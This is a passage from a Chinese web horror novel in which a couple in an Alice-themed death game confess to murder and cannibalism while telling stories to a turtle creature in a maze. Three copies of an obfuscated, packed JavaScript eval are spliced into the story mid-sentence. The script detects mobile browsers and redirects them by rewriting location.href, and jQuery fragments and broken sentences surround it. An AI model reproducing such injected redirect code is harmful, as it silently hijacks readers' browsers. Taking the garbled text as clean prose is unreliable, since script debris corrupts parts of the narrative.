郝荨回过头,愕然发现爱丽丝和红心女王正在唾沫横飞地啃着西瓜,皮球一般的西瓜在她们手中显得分外渺小,红色的汁水四溅,那锋利密集的牙一咬,西瓜立刻四分五裂。 她有些不适地移开视线。 “无聊……无聊……太无聊了!”爱丽丝像是泄愤一般,撕咬的更加用力。 红心女王噘着嘴,让侍女给她擦了擦。 她点评道:“这样无趣的人要是在我的王国,活不了一天!噢,他选择了错误方向!真是可怜的短命鬼,我们还是看看另一组吧。” 说着,斯克里特迷宫忽然像魔方一样飞快转动。 郝荨眼睛一花,目之所及处就再也找不到余逸的身影,取而代之的是大吕和莉莉这对背靠着背的恋人。 两人一开始还“有商有量”,准确的说,应该是莉莉指挥,大吕听从。 但很快,他们就出现了分歧。 莉莉不耐烦道:“镜子上的线索都说了,要走这边!” 他们面前摆着一面镜子,上面的划痕清晰显示着【走这里→】几个大字。 “可是……万一它是骗我们的呢?” 大吕想要凑近镜子,却感到背部一阵撕扯,于是只好伸手指向箭头的位置:“宝宝你看,这里好像有点红红的。” 仔细看去,像是半个沾血指印。 莉莉不说话了,她环抱双臂目视前方,一副不愿沟通的模样,大吕无法,只好妥协。 不过很快他就后悔了。 “我【哔】!” 他四肢健壮,背着女友拼命往前跑,在他身后,一队扑克牌幽灵卫兵正高喊着“逮捕他们!”向他们冲来。 好在他们也不是新人了,很快就甩掉了这批卫兵。 大吕没忍住,抱怨道:“你看我说什么来着,那面镜子肯定是骗人的!” 莉莉声音冰冷:“你凶我?翅膀硬了?” “没有啊宝宝!”大吕倍感冤枉,“我是、我是怕游戏危险,伤到你嘛!” 莉莉冷哼,大吕有些烦躁。 这女人也太难搞了!要不是……谁愿意伺候她! 这样的事又反复发生了几次,这些线索有的是真话,有的是假发,实在难以分辨,一旦选择了错误方向,就会出现扑克牌卫兵抓捕他们,两人一开始还互相安慰,到后面,连“宝宝”也不愿意喊了。 他们的脸色很难看,两人沉浸在这古怪的氛围中,完全没有发现他们的背部正在加速融合,莉莉的后脑勺逐渐拉长,黑发像是某种触角般,试探却不容拒绝地插入了男友的脑后。 郝荨摇了摇头,他们危险了。 “啊!” 再一次逃跑中,两人一下没站稳,摔进了一片颇为空旷的草地。 “哎呀,”似龟非龟的生物慢慢放下手中的书,开口道,“你们也是来给托特先生分享故事的吗?” 大吕连忙爬起,他谨慎地做出了个方便逃跑的姿势,喉结有些颤动。 “托特…托特先生?” 莉莉回头望了一眼,那个害他们摔进来的裂口已经完全合并,也就是说——现在除了托特先生身后的那三条岔路,没有别的出口。 两人就着新出现的镜子短暂对视,大吕扬起温和的笑脸:“您想听什么样的故事呢?” 托特先生撑着头想了想,忽然,他像是听到了什么:“噢,这样……好的,托特先生知道了。” “在你们之前,我遇到了另一枚棋子,他讲的故事让女王陛下和爱丽丝小姐很不满。” 另一枚棋子? 那不就是那个年轻玩家吗? 大吕眼神一喜,既然托特先生对他不满意,肯定也不会提供线索,那是不是意味着,只要他让对方满意,就一定能胜过那个玩家率先找到出口! 托特先生继续拖着他慢悠悠的腔调:“希望你们能给出更优秀的答案。” “当然!”莉莉扬起脑袋,高傲道,“不就是讲故事吗?让我想想——” “噢!请稍等,托特先生只喜欢真实的故事,最好的故事当然是和秘密有关的,你们……有秘密吗?” 他身后的荆棘丛似乎有暗影在涌动,安静地蛰伏着,等待某个机会便一拥而上。 大吕抖了抖,他有些犹豫地瞥了眼镜子,镜子里的莉莉没有看他,而是在思索着什么。 没一会儿,莉莉忽然笑了笑,被游戏平均过的脸分外平常,但笑起来的小表情却能看出,她在现实中一定很漂亮。 “宝宝……”莉莉有些做作地嘟着嘴,大吕却条件反射般惊出一身冷汗。 “怎、怎么了,宝宝?” “我其实一直有件事没告诉你,说了你可不要生气哦!” “不会的,我们说好,这只是在讲故事,都不要生气好吗?” “嗯嗯,其实——你不是说,总觉得牙刷有股怪味吗?是因为每次吵架的时候,我都会拿你的牙刷去刷马桶,嘿嘿!” 她做了个很可爱的表情。 但大吕只想骂脏话,嘿嘿你个头! 他捏紧拳头,努力深呼吸平复下来,然后扯出一个假笑:“宝宝,其实我也有个秘密,是关于你的。” 莉莉眯起眼:“哦?是什么?” “你那只很喜欢的爱○仕的包,就是跟你最爱的玩偶放一起那个,我上次不小心弄坏了,只好偷偷买了个假的放回去,还好你没发现。” “什么?!” 莉莉脖子上青筋直冒,大吕连忙开口:“宝宝,这是在讲故事,说好不生气的!” 莉莉努力深呼吸了几次,才勉强没有爆发,她眼珠转动,准备放个大料: “嗯,我不生气,上次放假,我说去跟朋友看电影你还记得吗?” “……记得,怎么了?” “其实那天是我前男友想找我复合,我们就见了一面。” 她说得轻描淡写,大吕却差点没把牙咬崩。 不过很快,他就冷静下来:“没关系,我原谅你。” “真的吗宝宝?太爱你了!” 莉莉语气甜腻,没有被镜子照到的脸却一副面无表情的样子。 大吕继续开口:“你们之前一直分分合合这事我其实知道,但我都忍了,有一次实在是太生气,我没忍住,那段时间你身体不好,我不是给你报了几个体检套餐让你签吗……那里面有一份是人身意外险,受益人填的是我的名字。” 莉莉瞳孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276574|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间紧缩,她不敢置信地看向镜子。 “吕翔!你要谋财害命???” 她不敢相信,镜子里这个连气都不敢生的窝囊废竟然对她起了杀心! 莉莉反手就将自己的武器抽出,要给他来一下子,却被大吕一把抓住。 “等等!” 托特先生立刻叫停:“托特先生想听的是故事,你们说的是故事吗?你们只是在互相掀老底!” 他很生气:“就没有更精彩一些的故事吗?” 故事……莉莉终于反应过来,这只老海龟要听的是故事而不仅仅是八卦。 她沉思片刻,收回了手,脸上露出了些许恶意:“当然,我有很多……很多故事。” “这个故事发生在我的一个朋友身上,我这个朋友从生下来起就是一个漂亮的小孩,还在襁褓中时,她就懂得了要如何用自己这张漂亮的小脸蛋为父母挣钱。” “人人都说美貌单出是死局,但除了美貌,她还很聪明,至少,比那些庸庸碌碌活到几十岁的人可聪明多了。” “她抓住一切机会学习,学说话,学眼神,学动作……她成了南湖市首屈一指的童模,日进斗金也不在话下。” “只是很快,她就发现自己忘了学一样东西——人心。” “嫉妒与恶意随着金钱一起向她涌来,她的父亲很快因贝者入狱,母亲也随之病倒,屋漏偏逢连夜雨,随着青春期的到来,她的脸二次发育……从此变得泯然大众。” “世事无常,在她变丑之后,反倒是获得了平静。” “但她不服,她实在太聪明了,早早就看透了这个世界,这个由金钱堆积而成的世界,作为一个普通人就是最大的不幸!” “机缘巧合之下,她遇到了一个真正的大小姐,并在大小姐的帮助下进入了那个不属于她的圈子——” “抱歉,我打断一下。” 托特先生突然开口:“你的这个故事或许很悲惨,却不够有趣,还有别的故事吗?” 莉莉撩起自己的长发,淡定道:“我正要说到精彩之处呢。” “这个朋友靠着小时候的学习经验成功在这个圈子里站住脚……哪怕只是作为跟班的身份,这只是她精彩人生的第一步。” “第二步是她走得最精彩的一步棋,她靠着自己的社交技巧在那群大少爷小姐手中得到了一些物质支持,然后,改头换面。” “经历了生死危机后,她重新变回了小时候那个漂亮的自己。” “在最后一次复诊结束后,她立刻和从前的圈子切割,改了名字,成了神秘的L小姐,美丽、优雅、身份高贵,还和新认识的男朋友一起出了国。” “几年后,她独身一人回国,又认识了新的男友,只是偶尔午夜梦回,她也会有点怀念之前的那个自己,但她也知道,她无法再做回原本的自己了。” 托特先生点评道:“嗯……这个故事的后半段比前面要有趣一些,不过还是有些普通,我想听到点更特别的故事,你呢?你的故事呢?” 他看向吕翔,吕翔低着头谁也没看,这对身体上格外“亲密”的情侣,此刻氛围却分外古怪。 过了一会儿,吕翔低低开口:“我也有一个故事,一个……关于玩偶的故事。” 120. 疯狂爱丽丝08 “玩偶?希望它是个有趣的故事。” 吕翔意味不明地哼笑了一声:“比起有趣,或许用吓人来描述它…会更合适。” “这个故事就发生在我和女友的家里,我的女友是个很漂亮的富家小姐,认识我们的人都说我是祖坟上冒青烟才找到她。” “大小姐嘛,有些小脾气是再正常不过的事,何况她还比我小上几岁,我很爱她。” 他轻轻叹了一声,娓娓道来:“我们刚在一起的时候,每时每刻都恨不得黏在一起,我了解她的每一个喜好,也努力做一个让她满意的恋人,只有一点……我不明白。” “不明白什么?”托特先生好奇道。 “有一次我加班回家,家里灯都黑着,女友不在家,我正准备打电话给她,却听到了房间里传来一阵‘嗡……’‘嗡……’的奇怪声响。” “正好这时电话打通了,我边和女友通电话边在各个房间寻找。” “嗡……嗡……” “声音一直在响,我却怎么也找不到是哪里发出的,更奇特的是,我问女友有没有听到,她却说——什么声音都没有啊,你是不是太累了,出现了幻听。” “我不相信,那声音就像在我耳边响起似的,怎么会是幻听?” “我正准备挂断电话再去找,那声音却突然停止了,我打开家里所有的灯,没有什么特殊的,除了卧室里突然多出的玩偶。” “那是个大型玩偶,立起来的话可能比我还要高,玩偶长得很可爱,好像是她们女生常玩的什么……棉花娃娃?女友叮嘱我,这个玩偶很昂贵,定做非常费时间,让我绝对不要碰它,要是弄坏了就要跟我分手。” “所以,哪怕我再好奇,也没有尝试碰这个玩偶一下。” “可很快,家里就发生了几件不同寻常的事。” “起初,我还只是偶尔听到那声‘嗡……’‘嗡……’的声音,为此我还去看了几次医生,医生也说可能只是太累了出现了幻听,让我多休息,我便没有在意。” “但有一次,我们准备出门旅游,我的女友在浴室里洗澡,我在卧室收拾行李,总觉得身后有双眼睛在看着我。” “我回过头,窗户关得好好的,只有那个人形玩偶坐在那,娃娃怎么会看人呢?” “我想,我一定是搞错了。” “于是,我继续收拾行李,那股视线又来了,我立刻回头——却看到那个玩偶娃娃倒在地上,一只手向前伸着……就好像在指着我。” “被风吹倒了吗?我叫了女友两声,想告诉她这件事,她似乎没有听见。” “我只好小心翼翼将玩偶扶起,不愧是昂贵的玩偶娃娃,用料真结实,还挺沉,我费了点力气才把娃娃扶好,看起来和女友进浴室前几乎一模一样。” “不知道过了几分钟,我又感觉到了那股视线,这次我没有立刻回头,而是假装玩手机,趁着界面反光的时候迅速看了一眼……!” “那个娃娃离我更近了!” “它跪在那,离我只有两步的距离,手微微向我伸着,像是要来抓我!” “这实在是有点奇怪,我去敲了浴室的门,把这件事告诉了女友,可女友却说我脑子坏掉了,玩偶只是没放稳而已,让我别动,等她洗好澡去扶。” “我只好战战兢兢地继续收拾,这回我换了个方向,干脆面对着它。” “不知道是不是这招起作用了,玩偶没有再动,可就在我低头要将箱子锁起的瞬间,心脏忽然没来由地跳了一下,我猛地抬起头,那玩偶竟然已经到了面前!” “他的脸还是那样可爱,可我却越看越觉得恐怖,那双远超人类比例的大眼睛直勾勾地盯着我,手几乎要碰到我的脖子!” “我大叫着后退,就在这时,女友洗完澡,疑惑地问我在喊什么。” “我吓坏了!跟她说这娃娃闹鬼!可回过头时,那娃娃好端端地坐在原地,似乎从来没有动过。” “那真的是我的幻觉吗?我试着劝女友换个娃娃,没有成功。” “好在很快,我就发现自己的心态产生了变化……我喜欢上了这个娃娃。” “他很可爱,可爱到……让我想杀了他。” “可这是女友的玩偶娃娃,她不会让我杀了他的,于是,我给自己规定,只在我们吵架的时候对这个玩偶娃娃出手。” “什么?!”莉莉震惊,“你动过那个玩偶?!” 大吕像是没有听到一样,他低着头,让人看不清神色。 “这真的是个昂贵的娃娃,用料很好,无论我怎么拳打脚踢都能够很快恢复,所以,我的女友一直没有发现这件事。” “或许某一天,她会发现这件事,会同意我杀死他呢?” 莉莉目眦欲裂,她一时有些失语,好半天才说出一句:“……我不会同意的,你这个变态!” 吕翔低低地笑了起来。 托特先生拍了拍手:“不错,托特先生喜欢这个故事,作为交换,我将告诉你一个提示——这三条路中,只有一条是正确的。” 吕翔皱眉:“这个提示太宽泛了,没有更明确的线索吗?” 托特先生含笑看着他们:“还有别的故事吗?托特先生……可太爱听你们讲故事了。” 莉莉听懂了对方的暗示,不就是喜欢听刺激的吗? 还有什么能比她的故事更刺激! 她清清嗓子:“这个故事发生在我朋友交了新男友之后。” “他们两个是在一场高档酒会上认识的,男人西装革履风度翩翩,主动来找我朋友搭话,临走时,他开着辆价值千万的跑车路过,问要不要送她回家,两人便顺理成章暧昧起来。” “这个男人脾气很好,长得也不错,还有钱,简直是为她量身定做的天降男友。” “刚刚恋爱时,我的朋友一度以为自己找到了真命天子,也曾考虑过跟他结婚这件事,但假的终究是假的,她很快便发现这个男人是骗子。” “酒会入场券是蹭的,车是给人当‘司机’借的,就连他的房子也是租的。” “说来也是可笑,假小姐遇到了真骗子……或许是她昏了头,也或许是她不想人设崩塌,总之,她非但没有拆穿,还承担了两人之间的大部分开销,以至于那个男人根本没有发现她不是真正的千金大小姐。” “——直到她遇到了她的第一个男友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291517|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也就是那个带她一起出国的前男友,可这是绝对不可能的事!” “因为……那个前男友早就死了。” 托特先生忍不住追问道:“他是怎么死的?” 莉莉垂下视线,避重就轻道:“因为一场意外。” “她不敢相信自己的眼睛,虽然没有参加对方的葬礼,但她可是亲眼看到那人死亡的!” “我的朋友失魂落魄地回到家,做了一整晚噩梦,从那天开始,她每天都会遇到这个前男友。” “停车场里,他会出现在后视镜中,在外面吃饭时,他又会出现在隔壁桌,做指甲时,他安静地在沙发上等待,就连上班时,他都会坐在她的后座!” “他们从来没有说过一句话,前男友只是一味地跟着她,眼神直勾勾地盯着,像是在说……‘我找到你了’。” “也是从那时开始,她开始吃不下饭,尤其是肉味,闻到就想吐。” “两人先前一直是有阿姨在家里做饭,这事发生后,男友怀疑是阿姨做饭有问题,便辞退了阿姨,亲自上手,只是作用寥寥。” “白天,她强忍住恐惧一股脑投入在工作中,晚上,还要疲于应付现男友的追问,终于有一天,她受不了了。” “她提前定制了一个比人还高的棉花娃娃,又换上自己最漂亮的红色长裙。” “一切都准备好后,她走到前男友跟前,问他究竟想要做什么。” “前男友看了她许久、许久……然后张开嘴,似乎想说些什么,但已经晚了,我的朋友没有忍耐住,等她清醒过来时,地上多了一堆码放得整整齐齐的肉块。” “从此,她再也不用担心这个死去的前男友再出现了,唯一的代价,只不过是家里多了个大型玩偶娃娃而已。” 她的故事说完,郝荨心下一惊。 这竟然是个连续剧! 什么“我有一个朋友系列”……这说的就是她自己的故事吧。 虽然她对自己的过去多有美化,很多关键之处也语焉不详,但听的人还是能清楚知道,前男友的死绝对跟她脱不了关系。 真是没想到,这个看着娇滴滴的玩家,居然是个杀人犯! 郝荨下意识想要去看大吕的脸色,这个“现男友”要是知道自己用来泄愤的娃娃里有尸块…… 她忽然愣住,这个吕翔怎么一点反应也没有? “嗬……” 低着头面无表情的吕翔突然咧开嘴:“哈,哈哈哈哈……” 郝荨脖子一凉,她有预感,接下来他说的话,一定更吓人。 莉莉一怔:“你笑什么?” 吕翔摇摇头:“我们可真是……天生一对。” “托特先生,接下来我讲的故事会比之前的所有故事都更有意思,你会告诉我正确的出口在哪吗?” 托特先生感兴趣道:“当然,只要你的故事足够有趣。” “呵呵……我保证,这个故事是最真实的故事。” 吕翔不知道的是,在他的身后,镜子忽然快速闪过了几个字—— “不”、“海龟”、“故”、“不要”…… 不要给海龟讲故事! 121. 疯狂爱丽丝09 “我想想……”吕翔眯起眼,声音愉悦,“那我也说一个…我朋友的故事吧。” “我的朋友是个普通人,拥有一个普普通通的梦想,他梦想着能找到一个有钱女友,让自己脱离这个普通人的阶层。” “他运气很好,爸妈给了他一张还不错的脸和一张能说会道的嘴,运气更好的是,他遇到了现在的女友。” “这个女友脾气不好,但人很漂亮,还有钱,以前的朋友都嘲笑他是赘婿,不过他知道,这些人是嫉妒他,要是真有富婆找他们,他们肯定跑得比他还快!” “可是,他发现了一个秘密。” “这个女友是个假名媛!他很生气,更生气的是,他发现自己竟然不愿意分手!” “这是爱吗?哈哈哈哈……爱?多可笑!” “他不认为这是爱,或许是恨吧。” “在她身上,他感受到了一股似曾相识的感觉,他们很像,肤浅、愚昧…可悲,可也就是因为太像了,他才知道这样的日子有多痛苦。” “不是都说,痛苦只会流向能吃苦的人吗,莫非是他太能吃苦?凭什么其他人都能开心生活,他却要过这种苦日子?!” “甚至,他好端端地在马路上走,也会被车撞飞!” “犯错的明明就是那个酒驾的司机!为什么倒霉的却是他?!” 吕翔情绪激动到一度说不出话,他努力吸了几口气才缓缓道:“这时候,他的幸运又发挥了作用,天无绝人之路,神明给予了他重获新生的机会!” “他在这里获得了力量,但他马上就发现这种想法有多幼稚,这里不是天堂,这里是地狱!” “每天,每天!他都能感觉到死神在叫自己的名字!” “他随时可能会死。” “可他死了的话,他的女友怎么办呢?” “他的女友就像过去的他,过着那样痛苦的日子,每天都要担惊受怕自己的身份会不会被拆穿,一睁开眼就是满地账单,拆东墙补西墙……谁也不知道她为了这样的生活欠下了多少债!” “他还发现了她和前男友藕断丝连!” “不过没关系,他原谅她,她只是为了钱才这样做的,他可以理解。” “只是,他不愿意她再过这样的日子了。” “在女友生日那天,他做了一个决定——帮她解脱。” “他在蛋糕里下了药,趁着女友昏迷时对她动了手,并将肉放进搅拌机里一块块打好,收进了他们家的冰箱里。” “这就是爱吧,他想,不然,为什么他要把她藏在家里呢?” “可是恐怖的事发生了!当他处理好一切之后,转过头,却发现女友满脸惊恐地坐在床上!” “她说……她进了一个游戏,一个会死人的游戏。” “女友竟然也进了跟他一样的游戏!可奇怪的是,冰箱里的肉却没有消失。” “他不知道这究竟是怎么回事,他的女友既不像真正的活着,又不像真正的死去。” “这实在太奇怪了!他很害怕,更害怕的是,女友逐渐变得不像真人,她开始吃不下东西,闻到肉味就想吐,女友一点点瘦了下去……像是个骷髅架子。” “这样不行,他想,现在女友又跟他一样了,那说明他们是天生一对!他应该要照顾好她。” “于是,他尝试了所有能尝试的食物,女友都无法吃下,只除了一样——” 吕翔看了满脸恐惧的莉莉一眼,那眼神很是古怪。 莉莉牙关忍不住打颤,她一下捂住耳朵:“别、别说……” 吕翔嘴角上扬,露出了一个疯狂的表情,缓慢而用力道: “——她自己的身体。” “啊啊啊!!” 莉莉崩溃大喊:“别说了!!!” “宝宝,你哭什么呀?吃的时候不是觉得很香吗?” “变态……变态!” 吕翔脸色一下沉了下来,声音冰冷又轻柔,像是条吐着信子的毒蛇。 “我是变态,你是疯子,我们可是天造地设的一对!” “你看,就连迷雾游戏都不舍得我们分开,要我们时时刻刻都在一起!” 他拼命扭头,想要去看女友的脸,却感到头皮强烈的拉扯感。 “嘶——” 好痛。 是两人的头发缠在一起了吗? 他伸手去摸,摸到了一手长发,黑色的长发泛着腥臭的血气,与他的短发纠缠,一时间竟然有些解不开。 吕翔从包里翻出一柄小刀,贴近镜子道:“宝宝别哭啦,你哭得头发都打结了,别怕,老公把头发割开就好了,千万别动噢!” 他拽起那段浓密的黑发,微微皱了皱眉,还没开始割呢,哪来的血? 吕翔没有太在意,只是将刀仔细的沿着长发边缘伸入……一道带着冷意的呼吸慢慢贴近他的脸颊。 镜子里,莉莉那张看似普通的脸慢慢凑到他的脸侧,眼睛鼻头都带着红,看着很委屈的样子,吕翔有些心疼道:“好啦,都是我的错,我不该说出来吓你的,我们之前不是挺好的吗?” 莉莉没有回答,双目直直盯着镜子里的吕翔,欲语还休。 吕翔专心致志地将黑发割开,这头发也不知道是怎么打的结,割起来异常费力。 那股血腥气越来越重了,莉莉的脸贴上他的,轻轻磨蹭,像是在撒娇。 奇怪的是,不知道是不是哭太久的缘故,她的脸颊有些凉。 吕翔手上的动作顿住,等一下……他们不是背靠着背吗? 那么莉莉……是怎么将头扭转一百八十度…贴到他脸侧的? 他的呼吸一下子变得急促,喉结滚动,吕翔艰难地咽了口口水。 镜子里的两人脸贴着脸,格外亲密,仿佛没有任何人能将他们分开。 “宝宝?” 莉莉还是没有说话,她的头微微蹭了蹭作为回应。 吕翔产生了一种奇怪的感觉,从刚刚开始,莉莉的眼睛……有眨过吗? 他紧张地握紧手中小刀,似乎是意识到他发现了不对,莉莉的头忽然动了。 她的头慢慢飘到半空,漂浮着,支撑着她的是无数黑色长发。 密密麻麻的黑发顶着这颗脑袋飞起,然后,只一瞬间,黑发就将吕翔包裹起来! 几分钟后。 被切割得血肉淋漓的男人从黑发中爬起,他的背被硬生生切开,连内脏的形状都清晰可见。 本应在他背上的莉莉不见了。 吕翔大口大口喘着气,面色上的惊恐还未褪去,仔细一看,还能看到他的心脏在薄薄一层血肉下疯狂跳动。 托特先生的声音适时响起:“谢谢你,这是我漫长一生中听到的最喜欢的故事,它很有趣。” “……出口在哪。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302208|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 托特先生往旁边移了两步,露出了最中间的岔路口。 “噢!请往这边走,这就是通往出口的路。” 吕翔撑着灌木丛,刚要迈开脚步,又忽然停住。 在托特先生的视线死角,镜面的最下端出现一行小小的血字:“不要相信他!” 吕翔低着头,深吸一口气:“你说的……是真话吗?” 托特先生有些惊讶:“当然,托特先生喜欢真实,从不说假话。” 他收起手里的书,往另一条通道走去。 吕翔心生怀疑:“那你为什么不走这条路?” “托特先生自然是有托特先生的事要办。” 说完,他便径直走了进去,留吕翔一人在空空荡荡的迷宫中心徘徊。 吕翔蹲下身,镜子下的血字早已消失不见。 要相信这个海龟吗? …还是相信这个血字? 他难以判断,血字看起来更像真实线索,可之前镜子就欺骗过他。 至于托特先生……这个老海龟也不老实,要不是他,他的莉莉根本就不会离开他! 吕翔怀疑地看向岔路口,他等了一会儿,却始终没看到托特先生从里面出来,血液不断往下流淌着,他感到有些头晕眼花。 不能再等了! 这个游戏根本就不想让他们离开,所以才千方百计地骗他们! 那条路一定是错的! 他义无反顾地跟着托特先生进了第三条岔路,在他走后,那面镜子闪了闪,一个拥有着奇特美丽的女人突然出现。 她浑身上下被黑发包裹着,脸上格外饱满和对称,看久了会让人有些恐怖谷。 莉莉……这个名字自然而然出现在郝荨脑海。 女人趴在镜面上,眼睛紧紧盯着吕翔进去的那条路,然后,露出了一个兴奋又嗜血的笑。 “自作聪明的蠢货。”红心女王轻哼。 她意兴阑珊:“结束了,下一局吧。” 爱丽丝敲了敲棋盘,又是一阵天旋地转,棋盘翻转回来,她正要宣布结果,却看到其中一个格子里白光大闪。 光芒散去,余逸满脸笑嘻嘻地走了出来。 红心女王尖叫:“这不可能!你明明就选择了死路……你是怎么做到的?!” 余逸满脸无辜地挠了挠头:“我走到一半感觉不对,就又退回来了。” “那也不可能!斯克里特迷宫有三千六百种走法,只有一条路能通往正确出口!以你的脑子,绝不可能选中那条正确的!” “嘿!怎么还骂人呢!” 余逸嘟囔了几句,他有些不好意思道:“我是没什么脑子,但我了解自己的运气,只要是我选的路就一定是错的!那就反向选择就好啦,选那条我绝对不想选的路,然后……就莫名其妙出来了。” 红心女王白眼一翻,差点晕倒。 怎么会……怎么会有这样的玩家! 简直就是在侮辱她的游戏! “砍头!给我砍掉他的头!!!” 卫兵正要行动,却被爱丽丝生生拦住:“别忘了游戏规则。” 她语含警告,红心女王哼哼两声,不再说话。 “好了,下一局开始。” 她话还没说完,郝荨突然觉得眼球一阵疼痛,她用力眨了几下眼,视线还是很模糊,像是近视五百度那样,只能看到模糊人影。 122. 疯狂爱丽丝10 一阵极其细微的秒针转动声从郝荨脚下传出。 她的视力受到限制,听觉反倒变得分外敏锐,果然,没过几秒,头顶钟表的兔子突然从她隔壁的格子跃出。 “来不及了来不及了!没有时间了!” 一团模糊的白影从她身侧掠过,飞快地跑远。 爱丽丝双手叉腰:“你都玩了这么多场游戏了,我的茶话会呢?!” 红心女王昂着头,理所当然道:“可怜的小姑娘,这是你自己倒霉!怎么能怪我呢?” “我不管!我要加餐!” 朱姐心下一喜,加餐好啊! 最好所有格子都塞满了茶话会,这些个游戏是一个比一个恐怖,太危险了! 可红心女王不肯,两人一言不合又扯起了头花。 棋盘猛地抖动,歌者突然大喊:“我知道了!” 趁着爱丽丝和红心女王互相尖叫比谁的声音更高时,歌者取出一个喇叭,往喇叭里说了一句话。 然后,所有玩家的耳朵都听见了—— 【喇叭公示:这个游戏有绝对安全的走法!只要想办法将自己或其他人走过的格子连成一个圈,就能保证自己绝对不会触发任何新的游戏!】 “对啊!”一个玩家惊喜道,“规则没有说不能重复走格子!” 这说不定就是通关方法呢! 其他人都开始盘算起自己的身份怎样走,才能保证走出一个安全循环,只有郝荨,她得趁着自己还没瞎,把所有能看见的格子全都记住。 这个代号“歌者”的玩家说的不失为一种方法,至少能保证大部分人的安全,按照规则,只要大家拖到【日落时间】,游戏就能顺利结束。 前提是——太阳真的会落下。 她的视线突然发黑,过了一会儿才恢复过来。 郝荨皱了皱眉,身上的异化反应越来越严重了…… “砰!” 光滑的棋盘被爱丽丝撞到,所有玩家都被弹到半空,有个运气差的只来得及发出一声尖叫便因失误落入其他格而烧成了黑炭。 像是发现了什么好玩的,红心女王眼睛一下亮起。 她那蒲扇般的大手用力拍向棋盘,玩家不断被弹起,别说走到自己选好的格子了,哪怕是回到原本的格子都要费上一番力气。 郝荨果断取出【休憩的沉思者】,这个裂开的抽水马桶如同定海神针般牢牢吸在棋盘上,纹丝不动。 这个小兵身份也有好处,每次行动只能往前走上一格,她不需要思考太多,此刻便有了时间考虑这场游戏究竟该如何通关。 爱丽丝和红心女王的关系似乎针尖对麦芒,她们坐在棋盘两端,看起来像是敌对阵营,那么他们这些棋子呢?会不会也有自己所属的阵营? 还有那只喊着“没有时间了”的兔子,爱丽丝看起来很讨厌它,红心女王似乎也不大关心的模样。 这只头顶钟表的兔子在游戏里就好像个彩蛋,只在某些特定时刻出现。 至于这些触发的小游戏,似乎其中也有一些关联,是在暗示什么? 时间……她一手撑着头,另一只手的手指无意识地敲击着大腿,这会是本场游戏的关键吗? 在她还在思索之时,场上变故横生! 随着众人惊慌失措的呐喊声被陡然截断,郝荨抬头望去,场上竟然有一大半的人都消失不见。 她的队友呢? 郝荨努力眯起眼,却怎么也看不清其他人的身影。 “阿哈!又是我赢了!” 红心女王兴奋地挥舞着手杖,几乎要戳到爱丽丝那只漆黑的大眼,被爱丽丝一把拍开。 她没有在意,只是一味催促道:“快快快!这可是我的最爱的游戏,可不能为了慢吞吞的小老鼠们延期!快宣布开始!” 爱丽丝烦躁地揉了一把头发,将那头金发揉地好像稻草,随后,她握上棋盘两端—— 只听一声巨响,棋盘被她硬生生掰断! 断裂的棋盘向两边漂浮移动,一座喷泉从下方缓缓升起,巨大的黑色渡鸦趴在喷泉顶部,闭着眼,像是座古老的雕像,只有身上微微起伏的羽毛才能看出,它是活的。 大片大片的苔藓和枯骨漂浮在池子中,看起来许久没有打理过了。 不见的玩家们零零散散站在上面,神情紧张。 爱丽丝上前摸了摸渡鸦的头,被渡鸦一下啄到。 “嘎嘎!” 渡鸦睁开那双血红色的眼睛,怒视着爱丽丝,正要再啄,边上突然伸出来一支手杖,重重刺入它的眼眶。 “嘎——!!!” 红心女王用力在它的眼眶搅动几下,然后“噗”的一声,那颗红色眼球就被她拔了出来。 血珠落在喷泉中,将水都染成了猩红色。 霍格不动声色地观察了一番周围,他盯着水面看了看,脚步微动,换了个位置。 站在他旁边的歌者注意到他的动作,她仔细观察了片刻,然后,抬头点了点在场的玩家人数,连她一起一共有八人,大型游戏? 歌者低头看了看自己的倒影,心中有些忧虑,不知道是甜品的作用还是什么其他原因,几场游戏下来,她的身形已经缩小到了只有一米左右,在大型游戏里恐怕没什么优势。 “哈哈哈哈哈哈……” 女王夸张的笑声一下拉回了她的注意力。 “太——完美了!真的太完美了!比玫瑰花还要鲜艳,比血还要迷人!有这颗完美的红色眼球,这场槌球比赛一定是前所未有的…完美!” 她忽然抓住侍从的领子摇晃道:“你说!这是不是有史以来最完美的杰作?!嗯?!” “当、当然!陛下!” 红心女王捏起那颗眼珠轻轻一弹,眼珠就落在了玩家中间。 “卫兵——!” 一队队扑克牌士兵齐齐走向喷泉,站上喷泉的瞬间,所有扑克牌瞬间缩小,变到和玩家们差不多的大小。 他们纷纷将手伸进水中,然后拔出了几只瑟瑟发抖的火烈鸟。 “噶!” 火烈鸟发出一声惨叫,脖子被卫兵拉得笔直,它们望着喷泉边缘拼命扑腾,在那里,插着两座歪歪斜斜的镀金断头台。 